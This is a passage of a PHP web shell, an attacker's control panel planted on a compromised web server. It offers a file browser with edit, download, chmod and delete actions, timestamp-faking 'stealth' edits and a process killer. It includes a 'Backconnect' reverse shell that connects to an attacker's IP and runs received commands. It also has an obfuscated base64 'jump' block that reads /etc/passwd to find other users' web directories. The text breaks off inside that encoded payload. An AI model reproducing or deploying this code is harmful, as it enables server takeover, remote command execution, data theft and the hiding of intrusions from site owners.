1789 $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
1790 }
1791 $row[] = fileperms($v);
1792 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
1793 elseif (is_link($v)) { $objects["links"][] = $row; }
1794 elseif (is_dir($v)) { $objects["folders"][] = $row; }
1795 elseif (is_file($v)) { $objects["files"][] = $row; }
1796 $i++;
1797 }
1798 $row = array();
1799 $row[] = "<b>Name</b>";
1800 $row[] = "<b>Size</b>";
1801 $row[] = "<b>Date Modified</b>";
1802 if (!is_windows()) {$row[] = "<b>Owner/Group</b>";}
1803 $row[] = "<b>Perms</b>";
1804 $row[] = "<b>Action</b>";
1805 $parsesort = parsesort($sort);
1806 $sort = $parsesort[0].$parsesort[1];
1807 $k = $parsesort[0];
1808 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
1809 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
1810 $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" alt=\"".($parsesort[1] == "a"?"Asc":"Desc")."\"></a>";
1811 $row[$k] .= $y;
1812 for($i=0;$i<count($row)-1;$i++) {
1813 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
1814 }
1815 $v = $parsesort[0];
1816 usort($objects["folders"], "tabsort");
1817 usort($objects["links"], "tabsort");
1818 usort($objects["files"], "tabsort");
1819 if ($parsesort[1] == "d") {
1820 $objects["folders"] = array_reverse($objects["folders"]);
1821 $objects["files"] = array_reverse($objects["files"]);
1822 }
1823 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
1824 $tab = array();
1825 $tab["cols"] = array($row);
1826 $tab["head"] = array();
1827 $tab["folders"] = array();
1828 $tab["links"] = array();
1829 $tab["files"] = array();
1830 $i = 0;
1831 foreach ($objects as $a) {
1832 $v = $a[0];
1833 $o = basename($v);
1834 $dir = dirname($v);
1835 if ($disp_fullpath) { $disppath = $v; }
1836 else { $disppath = $o; }
1837 $disppath = str2mini($disppath,60);
1838 if (in_array($v,$sess_data["cut"])) { $disppath = "<strike>".$disppath."</strike>"; }
1839 elseif (in_array($v,$sess_data["copy"])) { $disppath = "<u>".$disppath."</u>"; }
1840 foreach ($regxp_highlight as $r) {
1841 if ( ereg($r[0],strtolower($o)) ) {
1842 if ((!is_numeric($r[1])) or ($r[1] > 3)) {
1843 $r[1] = 0;
1844 @ob_clean();
1845 disp_error("Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command.");
1846 alecsexit();
1847 }
1848 else {
1849 $r[1] = round($r[1]);
1850 $isdir = is_dir($v);
1851 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
1852 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
1853 $disppath = $r[2].$disppath.$r[3];
1854 if (isset($r[4])) { break; }
1855 }
1856 }
1857 }
1858 }
1859 $uo = urlencode($o);
1860 $ud = urlencode($dir);
1861 $uv = urlencode($v);
1862 $row = array();
1863 if ($o == ".") {
1864 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> ".$o."</a>";
1865 $row[] = "CURDIR";
1866 }
1867 elseif ($o == "..") {
1868 $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> ".$o."</a>";
1869 $row[] = "UPDIR";
1870 }
1871 elseif (is_dir($v)) {
1872 if (is_link($v)) {
1873 $disppath .= " => ".readlink($v);
1874 $type = "LNK";
1875 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" alt=\"\"> [".$disppath."]</a>";
1876 }
1877 else {
1878 $type = "DIR";
1879 $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" alt=\"\"> [".$disppath."]</a>";
1880 }
1881 $row[] = $type;
1882 }
1883 elseif(is_file($v)) {
1884 $ext = explode(".",$o);
1885 $c = count($ext)-1;
1886 $ext = $ext[$c];
1887 $ext = strtolower($ext);
1888 $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" alt=\"\"> ".$disppath."</a>";
1889 $row[] = view_size($a[1]);
1890 }
1891 $row[] = @date("d.m.Y H:i:s",$a[2]);
1892 if (!is_windows()) { $row[] = $a[3]; }
1893 $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
1894
1895 if ($o == ".") {
1896 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
1897 $i--;
1898 }
1899 else {
1900 $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";
1901 }
1902
1903 if (is_dir($v)) {
1904 $row[] = "$checkbox <a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ";
1905 }
1906 else {
1907 $row[] = "$checkbox ".
1908 "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\"></a> ".
1909 "<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\"></a> ".
1910 "<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\"></a>";
1911 }
1912
1913 if (($o == ".") or ($o == "..")) { $tab["head"][] = $row; }
1914 elseif (is_link($v)) { $tab["links"][] = $row; }
1915 elseif (is_dir($v)) { $tab["folders"][] = $row; }
1916 elseif (is_file($v)) { $tab["files"][] = $row; }
1917
1918 $i++;
1919 }
1920 }
1921 #Listing Files & Folders
1922 echo "<div class=barheader>.: ";
1923 if (!empty($fx_infohead)) { echo $fx_infohead; }
1924 else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
1925 echo " :.</div>\n\n";
1926 echo "<form name=\"ls_form\" action=\"$surl\" method=\"post\">\n".
1927 "<input type=hidden name=act value=\"$dspact\">\n".
1928 "<input type=hidden name=d value=\"$d\">\n";
1929?>
1930<table class="explorer">
1931<?php
1932 $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
1933 foreach($table as $row) {
1934 echo "\t<tr>";
1935 foreach($row as $v) { echo "<td>".$v."</td>"; }
1936 echo "</tr>\n";
1937 }
1938?>
1939</table>
1940<div align="right">
1941 <script language="javascript">
1942 function ls_setcheckboxall(status) {
1943 var id = 1; var num = <?php echo(count($table) - 2); ?>;
1944 while (id <= num) {
1945 document.getElementById('actbox'+id).checked = status; id++;
1946 }
1947 }
1948 function ls_reverse_all() {
1949 var id = 1; var num = <?php echo(count($table) - 2); ?>;
1950 while (id <= num) {
1951 document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++;
1952 }
1953 }
1954 </script>
1955 <input type="button" onclick="ls_setcheckboxall(true);" value="Check all">
1956 <input type="button" onclick="ls_setcheckboxall(false);" value="Uncheck all">
1957<?php
1958 if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0) {
1959 echo "\t<input type=\"submit\" name=\"actarcbuff\" value=\"Archive it!\">".
1960 "\t<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">\n".
1961 "\t<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">\n".
1962 "\t<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">";
1963 }
1964 echo "\n\t".
1965 "<select name=act>\n".
1966 "\t\t<option value=\"".$act."\">With checked:</option>\n";
1967 $f_acts = array("delete","chmod","cut","copy","unselect");
1968 foreach ($f_acts as $f1) {
1969 echo "\t\t<option value=\"$f1\"".($dspact == "$f1"?" selected":"").">$f1</option>\n";
1970 }
1971 ?>
1972 </select>
1973 <input type="submit" value="Confirm">
1974</div>
1975</form>
1976<?php
1977 }
1978 }
1979 ##[ FILE ]##
1980 if ($act == "f") {
1981 echo "<div align=left>";
1982 if (!isset($ft)) { $ft = ""; }
1983 if (!isset($newwin)) { $newwin = ""; }
1984 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
1985 if (file_exists($d.$f)) {
1986 disp_error("Access denied!<br>".htmlspecialchars($d.$f));
1987 }
1988 else {
1989 disp_error("File doesn't exists: ".htmlspecialchars($d.$f)."<br>\n".
1990 "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a>");
1991 }
1992 }
1993 else {
1994 $r = @file_get_contents($d.$f);
1995 $ext = explode(".",$f);
1996 $c = count($ext)-1;
1997 $ext = $ext[$c];
1998 $ext = strtolower($ext);
1999 $rft = "";
2000 foreach ($ftypes as $k => $v) {
2001 if (in_array($ext,$v)) { $rft = $k; break; }
2002 }
2003 if (eregi("sess_(.*)",$f)) { $rft = "phpsess"; }
2004 if (empty($ft)) { $ft = $rft; }
2005
2006 $arr = array(
2007 array("<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\">","info"),
2008 array("<img src=\"".$surl."act=img&img=ext_html\" alt=\"html\">","html"),
2009 array("<img src=\"".$surl."act=img&img=ext_txt\" alt=\"txt\">","txt"),
2010 array("<img src=\"".$surl."act=img&img=ext_ini\" alt=\"ini\">","ini"),
2011 array("Code","code"),
2012 array("Session","phpsess"),
2013 array("SDB","sdb"),
2014 array("<img src=\"".$surl."act=img&img=ext_exe\" alt=\"exe\">","exe"),
2015 array("<img src=\"".$surl."act=img&img=ext_gif\" alt=\"img\">","img"),
2016 array("<img src=\"".$surl."act=img&img=ext_rtf\" alt=\"Notepad\">","notepad"),
2017 array("<img src=\"".$surl."act=img&img=change\" alt=\"Edit\">","edit"),
2018 array("<img src=\"".$surl."act=img&img=download\" alt=\"Download\">","download")
2019 );
2020
2021 echo "<div class=barheader>.: File Viewer [".$f." (".view_size(filesize($d.$f)).") ".view_perms_color($d.$f)."] :.\n";
2022 echo "<hr size=1 noshade>\n";
2023 foreach($arr as $t) {
2024 if ($t[1] == $rft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=#3366FF>".$t[0]."</font></a>"; }
2025 elseif ($t[1] == $ft) { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>"; }
2026 else { echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>"; }
2027 echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."&newwin=1\" title=\"New Window\" target=\"_blank\">+</a>) ";
2028 }
2029 echo "</div>\n";
2030 if ($ft == "info") {
2031 echo "<br>";
2032 bar_header("Information");
2033 echo "<table class=contents>\n".
2034 "<tr><th>Path</th><td>".$d.$f."</td></tr>\n".
2035 "<tr><th>Size</th><td>".view_size(filesize($d.$f))."</td></tr>\n".
2036 "<tr><th>MD5</th><td>".md5_file($d.$f)."</td></tr>\n";
2037 if (!is_windows()) {
2038 echo "<tr><th><b>Owner/Group</b></td><td>";
2039 $ow = posix_getpwuid(fileowner($d.$f));
2040 $gr = posix_getgrgid(filegroup($d.$f));
2041 echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
2042 }
2043 echo "<tr><th>Perms</th><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr>\n".
2044 "<tr><th>Create time</th><td>".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr>\n".
2045 "<tr><th>Access time</th><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr>\n".
2046 "<tr><th>Modify time</th><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr>\n";
2047 echo "<tr><th>HexDump</th><td>\n".
2048 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a> ] ".
2049 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a> ]<br>\n".
2050 "</td></tr>\n".
2051 "<tr><th>Base64</th><td>\n".
2052 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a> ] ".
2053 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a> ] ".
2054 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a> ] ".
2055 "[ <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a> ] ".
2056 "</td></tr>\n".
2057 "</table><br>\n";
2058 $fi = fopen($d.$f,"rb");
2059 if ($fi) {
2060 echo "<div class=barheader>";
2061 if (@$fullhexdump) { echo "Full HexDump"; $str = fread($fi,filesize($d.$f)); }
2062 else { echo "HexDump Preview"; $str = fread($fi,$hexdump_lines*$hexdump_rows); }
2063 $n = 0;
2064 $a0 = "00000000<br>";
2065 $a1 = "";
2066 $a2 = "";
2067 for ($i=0; $i<strlen($str); $i++) {
2068 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2069 switch (ord($str[$i])) {
2070 case 0 : $a2 .= "<font>0</font>"; break;
2071 case 32:
2072 case 10:
2073 case 13: $a2 .= " "; break;
2074 default: $a2 .= htmlspecialchars($str[$i]);
2075 }
2076 $n++;
2077 if ($n == $hexdump_rows) {
2078 $n = 0;
2079 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2080 $a1 .= "<br>";
2081 $a2 .= "<br>";
2082 }
2083 }
2084 echo "</div>\n";
2085 echo "<table class=code><tr><td>".$a0."</td><td>".$a1."</td><td>".$a2."</td></tr></table><br>\n";
2086 }
2087 $henc = "";
2088 $encoded = "";
2089 if (!isset($base64)) { $base64 = ""; }
2090 if ($base64 == 1) {
2091 $henc = "Base64 Encode";
2092 $encoded = base64_encode(file_get_contents($d.$f));
2093 }
2094 elseif($base64 == 2) {
2095 $henc = "Base64 Encode + Chunk";
2096 $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
2097 }
2098 elseif($base64 == 3) {
2099 $henc = "Base64 Encode + Chunk + Quotes";
2100 $encoded = base64_encode(file_get_contents($d.$f));
2101 $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
2102 }
2103 elseif($base64 == 4) {
2104 $text = file_get_contents($d.$f);
2105 $encoded = base64_decode($text);
2106 $henc = "<b>Base64 Decode";
2107 if (base64_encode($encoded) != $text) { $henc .= " (Failed!)"; }
2108 }
2109 if (!empty($encoded)) {
2110 bar_header($henc);
2111 echo "<textarea cols=100 rows=10>".htmlspecialchars($encoded)."</textarea>";
2112 echo "<br>\n";
2113 }
2114 }
2115 elseif ($ft == "html") {
2116 if ($newwin) { @ob_clean(); echo $r; alecsexit(); }
2117 else { echo $r; }
2118 }
2119 elseif ($ft == "txt") {
2120 echo "<center><textarea cols=\"125\" rows=\"20\">".htmlspecialchars($r)."</textarea></center>";
2121 }
2122 elseif ($ft == "ini") {
2123 echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";
2124 }
2125 elseif ($ft == "phpsess") {
2126 echo "<pre>";
2127 $v = explode("|",$r);
2128 echo $v[0]."<br>";
2129 var_dump(unserialize($v[1]));
2130 echo "</pre>";
2131 }
2132 elseif ($ft == "exe") {
2133 $ext = explode(".",$f);
2134 $c = count($ext)-1;
2135 $ext = $ext[$c];
2136 $ext = strtolower($ext);
2137 $rft = "";
2138 foreach ($exeftypes as $k => $v) {
2139 if (in_array($ext,$v)) { $rft = $k; break; }
2140 }
2141 $cmd = str_replace("%f%",$f,$rft);
2142 echo "<b>Execute file:</b>\n".
2143 "<form name=\"f_xfile\" action=\"".$surl."\" method=\"post\">\n".
2144 "<input type=hidden name=act value=cmd>\n".
2145 "<input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br>\n".
2146 "<input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"> \n".
2147 "<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked> - Display in text-area\n".
2148 "<input type=submit name=submit value=\"Execute\"></form>\n";
2149 }
2150 elseif ($ft == "sdb") { echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>\n"; }
2151 elseif ($ft == "code") {
2152 echo "<div class=code style=\"background-color: ".$highlight_bg."\">\n";
2153 if (@$newwin) { @ob_clean(); highlight_file($d.$f); alecsexit(); }
2154 else { highlight_file($d.$f); }
2155 echo "\n</div>\n";
2156 }
2157 elseif ($ft == "notepad") {
2158 @ob_clean();
2159 header("Content-type: text/plain");
2160 header("Content-disposition: attachment; filename=\"".$f.".txt\";");
2161 echo($r);
2162 exit;
2163 }
2164 elseif ($ft == "download") {
2165 @ob_clean();
2166 header("Content-type: application/octet-stream");
2167 header("Content-length: ".filesize($d.$f));
2168 header("Content-disposition: attachment; filename=\"".$f."\";");
2169 echo $r;
2170 exit;
2171 }
2172 elseif ($ft == "img") {
2173 $inf = getimagesize($d.$f);
2174 if (!$newwin) {
2175 if (empty($imgsize)) {$imgsize = 20;}
2176 $width = $inf[0]/100*$imgsize;
2177 $height = $inf[1]/100*$imgsize;
2178 echo "<center><b>Size:</b> ";
2179 $sizes = array("100","50","20");
2180 foreach ($sizes as $v) {
2181 echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
2182 if ($imgsize != $v ) {echo $v;}
2183 else {echo "<u>".$v."</u>";}
2184 echo "</a> ";
2185 }
2186 echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&newwin=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"></center>";
2187 }
2188 else {
2189 @ob_clean();
2190 $ext = explode($f,".");
2191 $ext = $ext[count($ext)-1];
2192 header("Content-type: ".$inf["mime"]);
2193 readfile($d.$f);
2194 exit;
2195 }
2196 }
2197 elseif ($ft == "edit") {
2198 if (!empty($submit)) {
2199 if ($filestealth) {$stat = stat($d.$f);}
2200 $fp = fopen($d.$f,"w");
2201 if (!$fp) {echo "<b>Can't write to file!</b>";}
2202 else {
2203 echo "<b>Saved!</b>";
2204 fwrite($fp,$edit_text);
2205 fclose($fp);
2206 if ($filestealth) { touch($d.$f,$stat[9],$stat[8]); }
2207 $r = $edit_text;
2208 }
2209 }
2210 $rows = count(explode("\r\n",$r));
2211 if ($rows < 10) { $rows = 10; }
2212 elseif ($rows > 30) { $rows = 30; }
2213 echo "<form name=\"f_save\" action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=\"post\">\n".
2214 "<input type=submit name=submit value=\"Save\"> ".
2215 "<input type=\"reset\" value=\"Reset\"> ".
2216 "<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br>".
2217 "<textarea name=\"edit_text\" cols=\"125\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea>\n".
2218 "</form>\n";
2219 }
2220 elseif (!empty($ft)) {
2221 echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";
2222 }
2223 else {
2224 echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";
2225 }
2226 }
2227 echo "</div>\n";
2228 }
2229 ##[ DIRECTORY ]##
2230 if ($act == "d") {
2231 if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
2232 else {
2233 echo "<b>Directory information:</b>\n";
2234 echo "<table>\n";
2235 if (!is_windows()) {
2236 echo "<tr><td><b>Owner/Group</b></td><td> ";
2237 $ow = posix_getpwuid(fileowner($d));
2238 $gr = posix_getgrgid(filegroup($d));
2239 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
2240 }
2241 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
2242 }
2243 }
2244 ##[ PROCESSES ]##
2245 if ($act == "processes") {
2246 bar_header(".: Processes :.");
2247 if (!is_windows()) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); }
2248 else { $handler = "tasklist"; }
2249 $ret = fx29exec($handler);
2250 if (!$ret) { disp_error("Can't execute \"$handler\"!"); }
2251 else {
2252 if (empty($processes_sort)) { $processes_sort = $sort_default; }
2253 $parsesort = parsesort($processes_sort);
2254 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
2255 $k = $parsesort[0];
2256 if ($parsesort[1] != "a") {
2257 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";
2258 }
2259 else {
2260 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";
2261 }
2262 $ret = htmlspecialchars($ret);
2263 if (!is_windows()) {
2264 if ($pid) {
2265 if (is_null($sig)) { $sig = 9; }
2266 echo "Sending signal ".$sig." to #".$pid."... ";
2267 if (posix_kill($pid,$sig)) { echo "<b>OK!</b>"; } else { echo "<b>ERROR!</b>"; }
2268 }
2269 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2270 $stack = explode("\n",$ret);
2271 $head = explode(" ",$stack[0]);
2272 unset($stack[0]);
2273 for($i=0;$i<count($head);$i++) {
2274 if ($i != $k) {
2275 $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
2276 }
2277 }
2278 $head[$i] = "";
2279 $prcs = array();
2280 foreach ($stack as $line) {
2281 if (!empty($line)) {
2282 $line = explode(" ",$line);
2283 $line[10] = join(" ",array_slice($line,10));
2284 $line = array_slice($line,0,11);
2285 if ($line[0] == get_current_user()) { $line[0] = '<font class="on">'.$line[0]."</font>"; }
2286 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
2287 $prcs[] = $line;
2288 }
2289 }
2290 }
2291 # For Windows #
2292 else {
2293 if (@$pid) {
2294 echo "Killing PID ".$pid."... ";
2295 echo fx29exec("taskkill /PID $pid /F");
2296 }
2297 while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
2298 while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
2299 $ret = convert_cyr_string($ret,"d","w");
2300 $stack = explode("\n",$ret);
2301 unset($stack[0],$stack[2]);
2302 $stack = array_values($stack);
2303 $stack[0] = str_replace("Image Name","Image-Name",$stack[0]);
2304 $stack[0] = str_replace("Session Name","Session-Name",$stack[0]);
2305 $stack[0] = str_replace("Mem Usage","Memory-Usage",$stack[0]);
2306 $stack[0] .= " KILL";
2307 $head = explode(" ",$stack[0]);
2308 $stack = array_slice($stack,1);
2309 $head = array_values($head);
2310 if ($parsesort[1] != "a") {
2311 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" alt=\"Desc\"></a>";
2312 }
2313 else {
2314 $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" alt=\"Asc\"></a>";
2315 }
2316 if ($k > count($head)) {$k = count($head)-1;}
2317 for($i=0;$i<count($head);$i++) {
2318 if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
2319 }
2320 $prcs = array();
2321 unset($stack[0]);
2322 foreach ($stack as $line) {
2323 if (!empty($line)) {
2324 $line = explode(" ",$line);
2325 $line[4] = str_replace(".","",$line[4]);
2326 $line[4] = intval($line[4]) * 1024;
2327 unset($line[5]);
2328 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."\"><u>KILL</u></a>";
2329 $prcs[] = $line;
2330 }
2331 }
2332 }
2333 $head[$k] = "<b>".$head[$k]."</b>".$y;
2334 $v = $processes_sort[0];
2335 usort($prcs,"tabsort");
2336 if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
2337 $tab = array();
2338 $tab[] = $head;
2339 $tab = array_merge($tab,$prcs);
2340 echo "<table class=\"explorer\">\n";
2341 foreach($tab as $i=>$k) {
2342 echo "\t<tr>";
2343 foreach($k as $j=>$v) {
2344 if (is_windows() and $i > 0 and $j == 4) { $v = view_size($v); }
2345 echo "<td>".$v."</td>";
2346 }
2347 echo "</tr>\n";
2348 }
2349 echo "</table>\n";
2350 }
2351 }
2352
2353 if ($act == "bc") {
2354 echo "<br><b>Backconnect Tools<br>
2355 <hr>
2356 <form method='POST' action=''><br>
2357 Your IP & Port:<br>
2358 <input type='text' name='ipim' size='15' value=''>
2359 <input type='text' name='portum' size='5' value='21'><br><br>
2360 <input type='submit' value='Connect'><br><br>
2361 <hr>
2362 </form>";
2363
2364 $ipim=$_POST['ipim'];
2365 $portum=$_POST['portum'];
2366 if ($ipim <> "")
2367 {
2368 $mucx=fsockopen($ipim , $portum , $errno, $errstr );
2369 if (!$mucx){
2370 $result = "Error: didnt connect !!!";
2371 }
2372 else {
2373
2374 $zamazing0="\n";
2375
2376 fputs ($mucx ,"\nHN-Community BackConnect\n\n");
2377 fputs($mucx , system("uname -a") .$zamazing0 );
2378 fputs($mucx , system("pwd") .$zamazing0 );
2379 fputs($mucx , system("id") .$zamazing0.$zamazing0 );
2380 while(!feof($mucx)){
2381 fputs ($mucx);
2382 $one="[$";
2383 $two="]";
2384 $result= fgets ($mucx, 8192);
2385 $message=`$result`;
2386 fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n");
2387 }
2388 fclose ($mucx);
2389 }
2390 }
2391 }
2392
2393 if ($act == "jump") {
2394 $ngipmuj = base64_decode("YmFyX2hlYWRlcigiLjogSnVtcGluZyA6LiIpOw0KCSgkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/ICRzbSA9ICdvZ
2395 mYnOiBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5FcnJvcjogU2FmZV9tb2RlID0gT248L2I+PC9mb250PicpOw0K
2396 c2V0X3RpbWVfbGltaXQoMCk7DQpAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGN
2397 vbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5bLV0gRXJyb3IgOiBDb3VkbmB0IFJlYWQgL2V0Yy9wYXNzd2Q8L2I+PC9mb250PicpOyB9DQokcHViID0gYX
2398 JyYXkoKTsNCiR1c2VycyA9IGFycmF5KCk7DQokY29uZiA9IGFycmF5KCk7DQokaSA9IDA7DQp3aGlsZSghZmVvZigkcGFzc3dkKSkNCnsNCiRzdHIgPSBmZ2V0cygkc
2399 GFzc3dkKTsNCmlmICgkaSA+IDEwMCkNCnsNCiAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQogICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQogICRk
2400 aXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsNCiAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKQ0KICB7DQogICBpZiAoaXNfcmVhZGFibGUoJGR
2401 pcnopKQ0KICAgew0KICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQogICAgYXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsNCiAgIH0NCiAgfQ0KICAgfQ0KJG
2402 krKzsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz48YnI+Wy1dPT09PT09PT09PT09PT09PT09WyBTVEFSV
